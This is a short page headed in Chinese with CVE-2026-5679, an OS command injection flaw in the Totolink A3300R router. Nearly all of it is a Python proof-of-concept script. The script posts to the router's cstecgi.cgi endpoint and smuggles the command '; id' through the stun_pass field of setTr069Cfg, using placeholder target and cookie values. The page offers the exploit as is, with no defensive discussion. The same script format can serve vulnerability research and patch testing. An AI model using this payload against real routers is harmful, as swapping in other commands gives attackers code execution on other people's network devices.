CVE-2026-5679 Totolink A3300R操作系统命令注入漏洞

import requests # Target URL and vulnerable endpoint url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Malicious payload to inject OS command (e.g., 'id') # Using semicolon to separate commands payload = "; id" # Construct the POST data # Function name is usually mapped to topicurl or action in these routers data = { "topicurl": "setTr069Cfg", "stun_pass": payload } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=<COOKIE_VALUE>" # Requires authentication if PR:L applies } try: # Send the malicious request response = requests.post(url, data=data, headers=headers, timeout=10) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")